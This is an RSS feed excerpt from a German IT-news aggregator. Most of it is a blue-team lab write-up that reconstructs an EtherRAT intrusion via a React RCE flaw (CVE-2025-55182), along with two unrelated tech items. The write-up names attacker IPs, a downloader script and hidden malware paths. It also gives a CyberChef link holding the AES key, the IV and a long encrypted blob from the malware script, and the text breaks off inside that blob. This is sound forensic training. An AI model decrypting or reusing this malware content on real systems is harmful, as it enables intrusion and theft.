<content:encoded><![CDATA[Life Cycle Assessments von Produkten werden wichtiger, seit Nachhaltigkeit ein Thema ist. Kleine Veränderungen können großen Einfluss auf den ökologischen Fußabdruck haben, die richtigen Stellschrauben gilt es zu finden. Das verbreitete Werkzeug &quot;OpenLCA&quot; von Green Delta richtet sich zwar an Expert*innen - aber es hat ein TypeScript API. Es erlaubt dir, einfache Oberflächen anzubieten und die Berechnung von LCAs zu automatisieren. In einer Live Session präsentiere ich ein vereinfachtes Life Cycle Assessment zunächst in OpenLCA, dann baue ich ihm ein React Frontend mit dem &quot;olca-ipc&quot; TypeScript-Paket und starte die gleiche Berechnung im Web Browser. Auf einmal scheint alles ganz einfach.

Licensed to the public under https://creativecommons.org/licenses/by/4.0/
about this event: https://talks.hackover.de/ho26/talk/YQYUQD/]]></content:encoded>
</item>
<item>
<title><![CDATA[(g+) Anime.js 4: Wenn Animation zur Architektur wird]]></title>
<description><![CDATA[Von Timelines über Scroll-Animationen bis zu React und Three.js: Anime.js entwickelt sich zum modularen Animationssystem für moderne Weboberflächen. Eine Anleitung von Fabian Deitelhoff (Spannendes Web, Javascript)]]></description>
<link>https://tsecurity.de/de/3679095/it-nachrichten/g-animejs-4-wenn-animation-zur-architektur-wird/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679095/it-nachrichten/g-animejs-4-wenn-animation-zur-architektur-wird/</guid>
<pubDate>Sun, 19 Jul 2026 10:03:04 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Von Timelines über Scroll-Animationen bis zu React und Three.js: Anime.js entwickelt sich zum modularen Animationssystem für moderne Weboberflächen. Eine Anleitung von Fabian Deitelhoff (<a href="https://www.golem.de/specials/spannendesweb/">Spannendes Web</a>, <a href="https://www.golem.de/specials/javascript/">Javascript</a>) <img src="https://cpx.golem.de/cpx.php?class=17&amp;aid=210823&amp;page=1&amp;ts=1784448002" alt="" width="1" height="1">]]></content:encoded>
</item>
<item>
<title><![CDATA[Life Cycle Impact Assessment (hackover2026)]]></title>
<description><![CDATA[Life Cycle Assessments von Produkten werden wichtiger, seit Nachhaltigkeit ein Thema ist. Kleine Veränderungen können großen Einfluss auf den ökologischen Fußabdruck haben, die richtigen Stellschrauben gilt es zu finden. Das verbreitete Werkzeug "OpenLCA" von Green Delta richtet sich zwar an Expe...]]></description>
<link>https://tsecurity.de/de/3678759/it-security-video/life-cycle-impact-assessment-hackover2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678759/it-security-video/life-cycle-impact-assessment-hackover2026/</guid>
<pubDate>Sun, 19 Jul 2026 04:32:58 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Life Cycle Assessments von Produkten werden wichtiger, seit Nachhaltigkeit ein Thema ist. Kleine Veränderungen können großen Einfluss auf den ökologischen Fußabdruck haben, die richtigen Stellschrauben gilt es zu finden. Das verbreitete Werkzeug &quot;OpenLCA&quot; von Green Delta richtet sich zwar an Expert*innen - aber es hat ein TypeScript API. Es erlaubt dir, einfache Oberflächen anzubieten und die Berechnung von LCAs zu automatisieren. In einer Live Session präsentiere ich ein vereinfachtes Life Cycle Assessment zunächst in OpenLCA, dann baue ich ihm ein React Frontend mit dem &quot;olca-ipc&quot; TypeScript-Paket und starte die gleiche Berechnung im Web Browser. Auf einmal scheint alles ganz einfach.

Licensed to the public under https://creativecommons.org/licenses/by/4.0/
about this event: https://talks.hackover.de/ho26/talk/YQYUQD/]]></content:encoded>
</item>
<item>
<title><![CDATA[CallMeOnTheChain — EtherRAT Lab Writeup [CyberDefenders]]]></title>
<description><![CDATA[CallMeOnTheChain — EtherRAT Lab Writeup [CyberDefenders]CallMeOnTheChain - EtherRAT | Blue team challenge.You can read this writeup on my GitBook: LinkScenarioSomething is wrong at Maromalix. On February 10th, 2026, credentials that should never have left the network were suddenly used from an un...]]></description>
<link>https://tsecurity.de/de/3677787/hacking/callmeonthechain-etherrat-lab-writeup-cyberdefenders/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677787/hacking/callmeonthechain-etherrat-lab-writeup-cyberdefenders/</guid>
<pubDate>Sat, 18 Jul 2026 11:39:21 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>CallMeOnTheChain — EtherRAT Lab Writeup [CyberDefenders]</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*8sxyPDbCie18N5eQqwcpAg.png"></figure><p><a href="https://cyberdefenders.org/blueteam-ctf-challenges/callmeonthechain-etherrat/">CallMeOnTheChain - EtherRAT | Blue team challenge.</a></p><blockquote><em>You can read this writeup on my GitBook: </em><a href="https://prankster.gitbook.io/prankster/cyberdefenders/network-forensics/callmeonthechain-etherrat"><em>Link</em></a></blockquote><h4>Scenario</h4><p>Something is wrong at Maromalix. On February 10th, 2026, credentials that should never have left the network were suddenly used from an unauthorized external source. The trail led back to a single server: their public-facing web application. No failed logins, brute force, or phishing were detected, yet the attacker gained entry and established a way to return. This follows a pattern of Maromalix being targeted by attackers leveraging AI-assisted tooling. Using the captured network traffic, reconstruct the timeline and uncover exactly how this breach occurred.</p><h4>Initial Access</h4><blockquote><strong><em>Q1: </em></strong><em>What is the IP address of the attacker that exploited the web application?</em></blockquote><p>By reading the scenario above carefully, we have a public-facing web application asset that got attacked, so let’s start investigation.<br>We are provided here with a pcap file with ssl keys log file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/593/1*djEn5vVkPPWI4-Zuw4vMYA.png"><figcaption>Edit →Preferences →Protocols → TLS → (Pre)-Master-Secret log filename</figcaption></figure><p>At first, filtered for http traffic, and took a look at conversations, found the IP for the web-server (<em>arguably</em><em>172.31.44.238 is the web-server IP</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*prxEHHiXDwldiYkmurjf_w.png"></figure><p>Narrowing down a little with this query: http.request.method==POST and ip.dst==172.31.44.238 for less packets and better inspection (~300 packets).<br>After following someTLSstreams, found this communication:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7uxT_Pq2pKhmgjsoKDcYrg.png"></figure><p>a weird POST requests generated by a script maybe (User-Agent: python-requests/2.31.0\r\n) and have the same length (339).<br>so, i guess this needs further investigation by adding the source IP address http.request.method==POST and ip.dst==172.31.44.238 and ip.src==63.180.69.24</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D1p1lXAC2hWNAczytNPF8g.png"></figure><p>Actually i couldn’t stop myself from inspecting the fisrtPOST request with a different length, so i followed the TLSstream for this hovered packet:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sJnQQUYvDoz7_mQ-Zg2M2Q.png"></figure><p>so it’s a payload that abuses a JavaScript weakness (prototype pollution + constructor escape) to escape normal restrictions, then executes the system command id on the server. After that, it tries to sneak the result back to the attacker by embedding it inside an error response.</p><p>Also, By investigating the second packets with the length &gt; 339:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2j6_wD_L1EvQp6b0XhYa6w.png"></figure><p>we can find this payload also:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rfNX_Ty_MI28Y45FDTFqOA.png"></figure><p>So it makes sense now!!</p><blockquote><em>63.180.69.24</em></blockquote><blockquote><strong><em>Q2: </em></strong><em>What is the CVE identifier for the vulnerability exploited in this attack?</em></blockquote><p>from the Lab Name, we can search and get the CVE easily:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*6UGH92G4CkeLg6z6MlhQww.png"></figure><p>Or by searching for the CVE from the payloads we’ve already identified in the previous question:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tvXhGt3xXzwpJyZVXluBpA.png"></figure><blockquote>CVE-2025–55182</blockquote><h4>Execution</h4><blockquote><strong><em>Q3: </em></strong><em>What is the filename of the script downloaded by the exploit payload to install the malware?</em></blockquote><p>based on paloalto report (<a href="https://unit42.paloaltonetworks.com/cve-2025-55182-react-and-cve-2025-66478-next/"><strong><em>link</em></strong></a>) we did identified this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ta7zqMAKL97Oyq5Cjt0SKg.png"></figure><p>so, we can filter for the user-agent curl , and GET requests:<br>http.request.method==GET and http.user_agent contains "curl"</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*gFVyhvGIYpiXRfe7yp2JYA.png"></figure><blockquote>s.sh</blockquote><blockquote><strong><em>Q4: </em></strong><em>What is the filename of the decrypted implant that serves as the main RAT?</em></blockquote><p>By investigating the bash script file, we can get the correct answer directly:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*Jwve-sbRgl1XCug_zh-5iw.png"></figure><blockquote>.7vfgycfd01.js</blockquote><h4>Defense Evasion</h4><blockquote><strong><em>Q5: </em></strong><em>What is the hidden directory path used by the malware to store its components?</em></blockquote><p>Investigating the same Bash script file, it’s obvious at the beginning of the file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*NtVANhTXHIgdM4Jh8j0riw.png"></figure><blockquote><em>~/.local/share/.05bf0e9b</em></blockquote><blockquote><strong><em>Q6: </em></strong><em>The malware checks system locale to avoid execution in certain regions. What is the first locale code in the blocklist?</em></blockquote><p>since we have the full script, the script contains a Base64 encoded Blob</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WxS9zbDvFI80nTghhlFtnw.png"></figure><p>That is AES Encrypted, with a clear Key and IV as you can see,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PxI3Ys9qw19KJ7GdMcx89w.png"></figure><p>So, Let’s decrypt it properly on cyberchef (<a href="https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)AES_Decrypt(%7B'option':'UTF8','string':'a3f8b2c1d4e5f6a7b8c9d0e1f2a3b4c5'%7D,%7B'option':'UTF8','string':'d4e5f6a7b8c9d0e1'%7D,'CBC','Raw','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)&amp;input=MkhWbmxwUnh3SnlNRjAwWDlXamxTbDV6MkcrQnB3ME45MGVKQWtsRzJZdmVBdEJnTldDUDZHT1VHNXRNZjBxQzRRaVM5TGRBQnFJcGZyRFJ4Wnl5Yzh3alN6cDNZUVZETDBUMm82Zi95Ny9WQktGMTAvdjZ1M1JBZ0VZQU9iS2dkNGJzTnNMZmkxQ0F3Q3RhY2xlSkZIV2dGQ3NLZGtLaGhqL0Q0MC9qTnBnUHhkZE55QlM4Ni9jaG9KeTRsTWovTXdmMmhscWluQ1FkbmJGQXkyeDBrSzJxVGZKMmRyOS9TcDlRMkZQQnNKWDd0RUF1REE0QkRyTjdydzVVQ2Y1dGpEbUt0NTZGdnp2Nmlxcmlxb2dSVWVLTDgrVDFZMkVUNGJwUTRwczF3bHZqMzErQlVoVHkvRXNYWm42bzY1MkQ3M1dMYW9WRC90L0NPR09yNXErNXZ5ZjJkeXRaK0ZSTW1pSXZtK2xuVzlDMlFZc0xxYmRxNnNRRWRoU254dm5vUzRUTkhqMzZPdXIySS9JcXhZbXBCREFzYkZucitLSXA1cnRTUFJGUng1QWx5Tm1tbTBFNHArb1l0WUxHbVFlTlFNU2RGWTUxa0FhZGpoNEhzTVA3eEdaYW9Rekc5V3RHYjc5LzgvSEhjOGxTcFpWL2JieVQ0YlN3a29zWjFlRmVlU0hLaFZPczU3UDhCRHEwaXFwTXI4RmF2TmVPUU41VFNOUjBicHppendHUjQ4aGNEdmp0cVdlcndHQlhZNkY1NGFsUzhienVUOUFwS3JFS1hEUksxeGF0M0NkREJDbzdjSGx0a3NveHVXckx0TnRaK1F5ZEEycm5PWVh4UzExQkYzNGl5WDdZSlB5K1NWN2hjam9ZcnZjdUxaNElKY1RpWkRQY0xNNmtBM0t6Tmx0cjdVQ29BdjV2dVh2clk5YmVrV1pZRThHd24wNWJQcVNHOWZYb2xmOGtLTHFXTU5HUjVQS2MwYkRjS2RHVXhKT3MvaVlGWDFXeG9LZThkVkswRE14WTlZWUJ2czdmd3I3YXdTWHpOcnJQM0kxbzVZR0RmZ08yQXVTNXorODlvcWZGSFJlSFY3ZmxWL0lySWg1NXFXME1aWmVGSW5uaU01Ny8wd2VqUERaTU5sRmR6V3pObUxkbWRVL0VmWFNXN0hFMGZsSUQySmluZU8wNFJkSU04bTRiR016alRYckU3RW9jSExhZDBEUWZlV0tNTGRNN0hOTWYxWkxEeXlxRlJWZUhKbWhuNklBL1F6T0dSOTlnbWdFVHUrZHdrSUhTWS9QdzlFcTVqWG5FVGNKaFVxeC93Q2NwSVBLUllZOHRHNHNQUURtZEdIUmJac2V1RDVzQWFyRHNWU1B2MmtxbXUzK0hsdTh6eUJLZlBLQUlCeGpSYmtoNnNOMXE4MHVKYm9kYXVPZ2E2MDhiU2NmVkRGY0NCMldIY2RROUlrY1A5Y0dBdWt1aGptSFltYzZIY2NqSWYyeWVyZ01YNHJQVkRqQWU2RVdwTTR2WTN4MmNwQjY2Nlk5VmdQM2lIbVpNRVNEbEpXMlBiVE41RE1oRVp3Z21mZXdYazFtQTlMTEpXNWpHVUErR29KbldFSVhrbnhwb0Ywdk1pSFVkRWFPK0xqNjJMcTFmU2VBZUdqRVY1NmtJc3p5cHF6TWtIdmtqSTFNakVTQWtZU3A4bHBRSyttZHB4aGh2ZjlDbUZhN3NoRlBRSHBsb1pSUHJpMjF2QVVzTjEzSXFEQmZvT2pKZFpIN1JlN0xyNkdNb0xMQkx4bDhYUUplWllZQVE0cFZ1UXpxa2hWM29KQ3lvNjExYW9jSXExUnhPMHA3TTZNMVVXYWhRWllIWE1PYzdQcjg0RWlSSU02aUd4d2d3NCs0WXhHWkE3RTgzanhobWVPZVRnRHczTHZUY0VEeDQvUUN6LzlTcjlBRzY4eGp1emg5UHR0TjVsQ2QwTVUzQ2o3dWdpelNQZ0hVMEdFMEJCWElmUVFtalA0UVBya2V4WkcrVXZVZDBKV2FOZjhYUnNKZ2FyY0xCQlAxV1pqbGQ5d3U5eGx5VnpJNXZBL2ZialRrUFcwOWFYbmlqQVJFQzFEejlEaG96dlM5S0x5bnA4MjQ3K2MrU3VsSVdrMTh4aDJ6YmxJZEl6R056bmFVSjJoN1hHRXZOVkxlamVLOC9oUWxnekV6ZUVoV1dJK1RpblB6S2FUZTlsWUVLZ0FOcnYyb0ZwcDg2Z0dSclh1YkZqODNVc0dmZFoyQy83OTVNbXBhMVZkczhNV0FkeHA0THlHcDhraWRTQkFwRHoxdUUxTWh1VUs4b3l2M0JsYlJCankzemozbVR2UFRzNUJ6aWZXaVVmekM1V3VUUEJlU3pXcGo1cmhkK1UvcXV5L01HYm9wbDk4UGRRSllKWDlsaTlUSVZwU3hwOWtHcG14aUtPZnpkL2FHOGdIa1I1ZWxhWGN6aTFyVUJaeDdKU0p4aVpZZjB4UUMyK0ZHeGlZbXl1UHNYK2hGb29IYWNtTGw0UVNGK3ZYdmJJSUg3QkM4c1RxbSswN2lwRGdpLy84UUFzUmM5bnhPMjgraDNOSlM5L003OWdsK1pNanJqWlpzY3BSQzZLa1RCQ2JOY1pHUDMxeHlHTDhPNE5iSnlzYWRaMTBZdm55RXhlNy82M2Uvc2wyK1doNGVXdjlieUJQdFltYnhQWVlQaW9WbzZ6VXpDVUVFczNYTk9MTkFCbjZ3TlNmSGVEVDdGVW9sdk92S05HdldVbURVZUtjZElkdWoyRWUrM1YyMUUwSEkzcjJvQUkyZUZSMzNSN0MwTDZKTFhIUmNiZFpsV2NJdExtSnVQMHVYa3cvbkcrRFFqYWRTbEhONmllSUdjSGlyRGU5NDhMTXhtZVhTRHN1aE9OeWU5SVF3ZFlTdnBPUG83WWZTMmJtMGdpSlNLZDJKaDBacWw3aCtFT0MxMUdheWU1RjFMd0JkU2JEK09OMUxzM0REUzVLeVhraG4xMjFSTWh4bnBxZlE0YUVyUUlIaW55dndOU0k4OW85TW50WkNHMGFWMnNHbGo4VHpFemg5ZUhBWEFpdUEvanp5QUpHYkdNMnlOT1BIODBMUUNkZnRIT2ZqdDVEL3RENU10c3BOZTUyQXdNaDQ0Rm5oV0VJajIxK3ByV3o1NXF1MHpHSHJpekIwOTFxYWJOaFAxclJtZlNrREN3dlFRM2M2blp1Zk05UURidC9UdWJUR2JVTElITXVoY3kzelhUdDBySWdXTlFEN1pCWUdxOUZXM25uWGwweEY5WDVDK3BGRHZLN3pBTnhJZkZLRkFRejJkKzE5dklrdlMrWHFacDk0eW45eS9xZlB4QzVZTmd3VmpNaFhrRnY1dm5nTDVxRDdBeld4RThySllUQTFtKy9PNkdqU2x6OEttb1prcTArU1lDSWc2bGVPb2grSi93YVNUcUdtUitsNjZBWi9sK29UWVhpRkthNS8rYW1PNlF1MnI2UFBlWHg2MFNwaXVDd3hjNUhyMGFiOTlkbnpubzNMME4zSnJ3RGhPTkViaUcyYktDN2xBV1VJdGVKWWN2cGFWSjcyM2xvcmluUDNHa2ZsMXhDTmV4QTFLMnFEZ0x6Sm0rMk1IS2pCQXg5QnBMZXAxRkg0eFFNMytJeklINHVDUVp3ckRjYWY3N2o5aG5hSGVHRUxlcWQrZW1FWVNsckEyd1lBWEQxa0Q2TFVuY3UxU2lIN1liSmREOUoxYUhTZ1hVT244cFNObXZ0dFAxbUIxNEpMTXpPd292d1ViN3pZNEtlOVR4bEVIT01GU3QwNHFOanRKL2pkK3QrRHpWRmdqQUpDWlNaMnpFS1d2K3N2azhuTWo4UW4wTkcxYmFaUXRmdkZQa2lRS3BwOCtKbTI0cjRoUHVQSVdLSVFTclZRbHlOVHAxL0JNRDdQWENtTnNlTWMzdG9iM2NpUXFENGE1VCtWdXpmUmhpbXQzYTFMTHVrblFpU1VreTU2TVNZdURlS1dFOVMwRXVEeCtxRFdsWk5vNzNpOWRWaXlWdjEvRU80dVZnMmpReWx4WFNqK2xQa2c0RGJKTEUydUtYMGhsVHdTaThOS3FjKzk3SE9tSXNoT2VuckVXZ0NreDVUa2lrQWJvVzJhRlhYbkNxV1ZDbmlOalNRWXVjdFpDRWloZFVHWVBxTDk1MVpwMlZYWitUUzArTEptZVFtQjBIeSs0M0I0MGtYcG5UQmgxYk83eGdIWmZGRzhqOTRveGg2cG1qa1hYenh3djk4WDlmQUVKd2dUV0Q1UDBjSG5FOWtHcU9WV3VYMGVZSW9vd0V5ajRheEwyVTFha09FdHgzUHU4YVFZcmFtUDNEN2ZTeWRPVFhrRGJCTFVXR2VYNi90M3JmWmh0YjQwdTk1ZG91dFllVG9aYy9PZXBocStDRWpMQ2RTajRnQ250VE9xa0F0dG5STHY1My9Xc0k0ZzJwdUMxOXVjS3BFVEsyZTRrMm52bVJJQm92cmNIZXFOcXZIOXZqZTRIYU1LcGc3L29ITFpmZm9jWEFXSERvWDBxa3VMLzZtUUtvS0lwazNKM1U2SHY1dXRab0dEa0Z6UkpuRDRHZUZhWFJQVHpSQ3FpTldrR3pjdnREMDhlcEI5aUdVaWdXdm5sSWhCeTBvRXFLZ21BU1MyZmdCYWRxTkxmR04vdkFVUW9uRWh4M3ptNjNmZmFUclBBWDY1V2dUSXkxRDhSMjdvaDRwdkRsUC9Hdnp6RG9ZL1dCSGhlVlBEcFA4TlA1MmVxckZSdXVBSm03SDJ1T1BPUlJ3SWpCN1RTZGFrYTEyck53UnFlSjBqbzB0QU1HdmhHZ083bmxDRDlZOTIveHNWdDNvaXc3eDh1ZUJlRVpYTXM4MEk3dWNzUWtPOGtmR29nakJ3dXE3dlhPbngyN0d0M0pqL0ZBUWFPYkVOaVg0TURhMlkzWXpub0o1bUtvQ3lOUkNCNDFGZm1FdXY4Qjl5TTdaL1lWRFVmcmZsbFhKTTR5OU1jM0VxSEhOdzczUjR4dWFYQU55THpsVS9LZUJiVGZJcVJWNWIwRW9ZZ1YzVEc0dzJWdVdBN3FTMWFuVnlpdUJzR1c3UnhXSXV2dXFxaDFURUMzdkVDTjFVd0YrZ3VpbmRFVlhYQThEOThjYnVBSWVYK2I3VVBqV1cyRlF4eGxtL2VEYml4aU5IUHlEY0tvM3RXa2xJN3djWkY0bTNELzlkakxsUnlLWkthQlAreGtZaHBNRGduV2pMQm5XL05ZV3ZZMUNWL2I5R2I2OEdXZXNGSWRXK0Y1TDZjMjRLT0QwbjdFRUs3UU5neFRGY2hIZlozeDNhY3hJdnN6d3RLS3VSMWF5dXRUTkw5T2puZWw2aTVBUWVJa05ORTZoTGNsTlJyZUZhQWltUzFwdXhOOUZTck9oTVc3R2JmaTRhNHF0eHVGU2VUd0pVUHlzNjcwTnQrMWhQRktBcjg5NmVLRmo4T25XcUpweDV2TXpsMFpadGJ5NmFXSHQyR2EvWnFJTFJFSmdSL2VZT0NtQmdwdm5DL3RJdVNQTUZYN01Tb08zQjJpL2RIdmF4L0ZOK21kUkVOY2JoQTJHYWhJaWlmUFQ5NzlJbkdCZjdKdU5SeXBaeGJwdzU0VUxDNXdWYTBnYklsWVFFYlhyRWdKU21PaU1ndFRqRmlZQXpxaU9SWHUvSlVTS3pzVityVkVYZDRubDlUUWZydElBUXpqTkhvWXd1Q2hEaCtmNjNSNzRZZjZIaVZINS9ZTEFFenI3R1NPRFdNVmIzUElUTHJxSDdKc3JYWTlmNVNDTkRza3NUb0hDcWZiV3lCYzI3d1BQY3pTdC9ESzJJNTB4bk13djR3U084T0VwWUM2Nkw1OEUwN3ZYS3VKSGRpV2VVb3YwS0l1YWJOVXhPcm5rVXRyTW9WN1hLUi9mYzIzdEk0em0yRDEzbWMrVmNOdDRIQmh5ZFFmZno2Z1VMYlY5Qk1HTDhFTkttOXQ2bkcweW8yeHh3ZWF3OGhkUGdhb084ZnBIWW55QzYyTnpGRmtVUXRIY3o3THdBc1g5TjVRZlhsQkpvZ3c4dnppeWhxVWZzcWxHak81Z0JRWWNJOVR0WkhGaWF6VndnYnQrdU5UYzI1Y3dnZWROc1hsWU9zQlNRNHBkRmdTV2d3di84OW9WUyt5QXRTRlJVS0NaMkM1WGdyQUlQNFJWdHNGZFZ2aUZGRG9Ia3RmVkN1b2kzc2xuU25nSEMvejkxWGJ0RnNPMlc4bDZFRlpLSjVKQWJBMWRsUENaVC9RckNucGJWVC9tZlNYTU1aZCt3bnFVd1dzc1ZpMTExblc5bnlsdHRyS2VQT1hwWDdkYjNEWWNhSkFybDNrZ3NGK0ZqaWlQVEh6VXYzdjJjeGRUYXlrbURBVHRQckpqMTBsZGgvandNTUh1R1J5MVBTZURXRGI5QkhlL05vaFBKOU9KZ2tDUGxPVDZna00xUlFZT00vbDZVYnNiMXBzQm9XR0dsdGF3Lzd3VzVHZHl6SXFRNmVJdmhtWjk0bjBHZUdnem5BYUQ4SHp0Uy9aNkpaOFhZODlUTXVqSStNbm82VTl0SHFrMTBKTDZMRUZ3dStzQTdrZGdOUGFDMkw0Q1Ftdk4zNTdsMkhsVU9zeklMY2VOR2NscndvNVU0cGdJdFMrQ3NtVnRDaW1ubHppS3U4VDlnMWwyVW9qYktnay9NZWExSW5nZlVGRVo4cnE0NjFSeHpUS25tLzB4aFZ1dys1ZzlZNGNMbDhSTGd6MEk1eWI3RmFqQURUV05XV2I0ckJxdTBmUTZmbTVaTHI1MEx6Y0w2NmowWDJEaEhkZWVKM1JyZnIwdTNlWm1OS3hEWTM1clc5TWFVMGpQT0R3UDQvQWU1YUM1UlkzbDVOTzNzVVFmdU5MQWNMb0p2RktyOE83dGZYM0RLbjdKazVQdG1NemhUeGE3KzlEV3Z2eDJOSWpLTXJHZFRvaEoyVkNmbDNETnA5Y2JpRmNQMHl2WFRSZjVmVTI2VmR6Ri8wcW5YbFZ6S01QQ0lQN2lnYVZQcnhUaUVWVTdHMnJIaTFkWmp0WUN6eC8yc3h5a2FNSmx3Vmdab3IwbVE0UCtmYlBvNElwdEQvVTRiSEovdUVoemJkc0c5THpLSmhVRnphblAxRFpOdjNBOTIzZG9mRFU5ditTbXNKMWdueDlDOFVLL25tSEhSVS9WS08xYzd3Q2w2elR4Wm9pT1BzbExZSHd6VFQvMkl1cXl6WGh2d0gxWDd2MlM2ZmZXbDNNcmc0U25vdTVZUmpIY3E0TFQyV3NaZ0F4SWpmMzVkUGlVZ3ltcCtLdDFoZG8zWSs4N3JUOUl1QVF1TDdwb05tUEVYV0xpd3VYblA2aU41MEYwcm1nNzI5RVVmNExVVExoRkpqR2M0b3N5U0NGNDUvRmZrNkFZNTFOUE1HUnI5WnY0S0szd0ovKy9rMndrNE5jUlI4c1lWVjJmeVh3NitiMlVhemdoWXJRODhhdFB3cHRWUWdLbC9mSHBCR1dSRlE0L281SStseUVaVjJYd1dHcGNLd0JxMnRtWmRDTXFqWHhBdEJTZndWbjdVVERwT0F3RmtwUVgzYUhNSnhiZU1sdDlRUXZxWlRPVEhGM3QvTEVnUCtGNThaTGx6aUxDWmdmSk91L1pZODV0NFJ5V1NicDNqZkdhYnFMZmVvYTd6QVplbExNM0NSRlRxb2JDWVU4b1N3TWRrQVhEdWZGMEc4SzFoUXBITDhycDY1dlZoNVdnY3o3VlRGQXpoK1czV0I0cTBmblp2cXViUmJoZXZsc3dzVGZ6RzJ5ZzgveWcrS3U2Z1dQVG9FYlJpcFR5VE5VWjRlZHBWcHRwYktrNUZwclVXYzdFeTVwRTVvUllzeVI1UjdRYjFzck93NEtKWEJjQmVvOHJ0NWdrTVp3T3dsTUdldnR1NWc3VVFPK29XUW5qeVV3d0dtNGYwbDllZUJodDNQR0ttUjREbmxGdEdDQ3FPTVpnc082RlJTWXlPck5mRVdqZlVSdkYrK1M1d1p1REVuS1hvUXNqQVNNUDg4QzhaUnhLVE5pWGJEZXVhWWlxSVFDSnNmcjhMYVFpRmI3dWxOckZYa2tHU1NSQjJqQWpnWU9FSWswZzcyczZpVkw5YUpHM3NMUG5WZUovdEN2NUdxbWFNTVoySk0wNU1sSXhrMkdnT1NPeHIwYVFBMFlHSzBuZ1pNaUhOSUNKMElwNjlpVzRtQW9oOXJ1SkJSS0FtYjJWSDNVQW4xQkVQcTNXWDd4Y1NsRlpmMkVpR2ZUNndERDM2ZEpxQ3RwRmEydzdTb3VnS1lyUG9QNDJHRUhBREdndk03bFRobm9NaW0rV2xQSFIxWEd3ZWdkT2RaWkp0ZkNUdlMrMUhBU0RSOGZKSjBtSGJ1dzlMWHJ2YVdUV3lGZXRvaVdVTWhQb202ZmZoSjlZN2txNzhVa1JjbGdlSVNaNFJNcllwUDVTWlpMUmx4dnY3NXZlMm9tK3ZmdVV1eFZnOVFxN0w4aWhHdEplUXNVWVVoL3cwdmNlNmdETmxGZ2J6amZvMUxibE81M3V5RU5GL3cxR3dSdnlrWHVXOGV4OElsMlJMVEw2RGRzckZlVlB5UVhqdmlOZDZJeFB0a2FpUWw2YjliaWowN0xva0pKaWhSUnpOWlpqZVRhTXRzd1pheER5bFg4VThoSVF2ekZiKzZqWjVCTnZoMGU3ZUZkNkVTR29HcnhGTW9BUVRQY3pLRjJLclcxT1lnMDRybTNzejg3SFA4QXEvT0wyeFZPV3IrVlh0Nlh1UVF5VnJjODdwaFV0TGZzMDN5SjZ3T1RBRjJRWHltRDVYS29OMXlNSHZlVGtRZ2ZYV3N0RWg3ZWlnSFFxUU54WVZsUEo5ZWV0cE5jdHE2L3JQT05xaEh6b2kwQTBxSmxIY21KYjFuR0ZvNk4xT3QzbGhjZWp4QmZzRk10MkFBK0ZldXFmWDNUZ2VMUS8vNi8vUnQydmxMREtFZkdMRWpKdmk0QmcrT3BuVkJ3Uk9vcHJCVGtVekl3bUVBSTAwU0pkbmpMTm5hMy9iUlRBN2tKS0lGZWNPYWJ5OXNUK0hZcUthU0pweXZnWmdiUEY2YW9MVnNRZC81NkpzMUZhZm9jeUVjME5kN1hvck9JZ3VNUGJNNDlFcWZiTDN5NGFVVGJwem9pVTRUT3BJaEIwOS91Q1MwdTJzM2JRVUFVVVRZQ3VLU2Fvd0dEMDYzM0UzZVNrYmRGY0lXeW5yNng5OGlzV0tDYVJCeFZnaS9vZzNCOEt3MS81MDBianNESDJ1YW9DRGZQRlZVTWVMS1d4dHdkV1JEQkhTTXM5bjZaZlhYTEtNUDVBZEZNa1NBZElSZjBCL3hoaWVUcHp0eS9zd3JJenBSaG9yRFVPWTlZNGNweFFudlNURkFVNzAxRVV5WExUWmFPbWFzajgyazNFc2R3QUhoK0YyNm4ydmpqSGF1cHQrakZMd2RwdUl3bnY1VEk3a09HeDFDbi91ZUg2Wk9kZGVhZjN0VVRNdHBxOHJIbCtROEJEaW50Tk5Kc2kvVnFUa2dmZVNmVHNtemhzaTlIczBvS0lFOWY4Vmd0eFArZlA3WXhHaTZZcmRKOHFvSFJYUko0VW5DOVVyYzJwR1VyZUwySGtZZzRmRzliR21OVHRHRGVzNGU5bFphekFxeU43V0JXb1hRSmJmZm5Zd1grdjMzZklwUmQ5SXlXY2RrWE1HTE5XbkR0ZFJJRHBWb2NjYnUxbGpmRWFpUVpGSDdscHg4cGcyVUVFd0plWGJkS0xSNko0VHdzQS9Ea2gyU2Q3emtwRlRlVHlkZHZLK0VPRGpvSUFuRXkwM2YzLzRtejl5QmVHWlpMdWh2c1o5NUw3Q0FScXlnV1RpK2FURHVFdzhEbVhEUzZ3Q0hIaWR6WTN3TExaQmRCZ3ZMRmxpOVYxV1FqR1VjMlpGTnBoaXF5eVIzSm0yVmRyMWI3M2hBRWgxNVpRM2s5SGJ0K1VxU2VWcWN4b1FNc2pta2hVUzBoRWdSaVRnN291SHhuQ0hUSkhyNzNIL21JOCtqN0dlbUdPL2NDUmdmdGR2cTFEQlhNa1YyclBFRkczeDNJVkJ0SU1kTHM5Q0s2ZTFqeUV1NHkzWDNZbUtUdDlXVzVpaEVqekp3Y25PcCt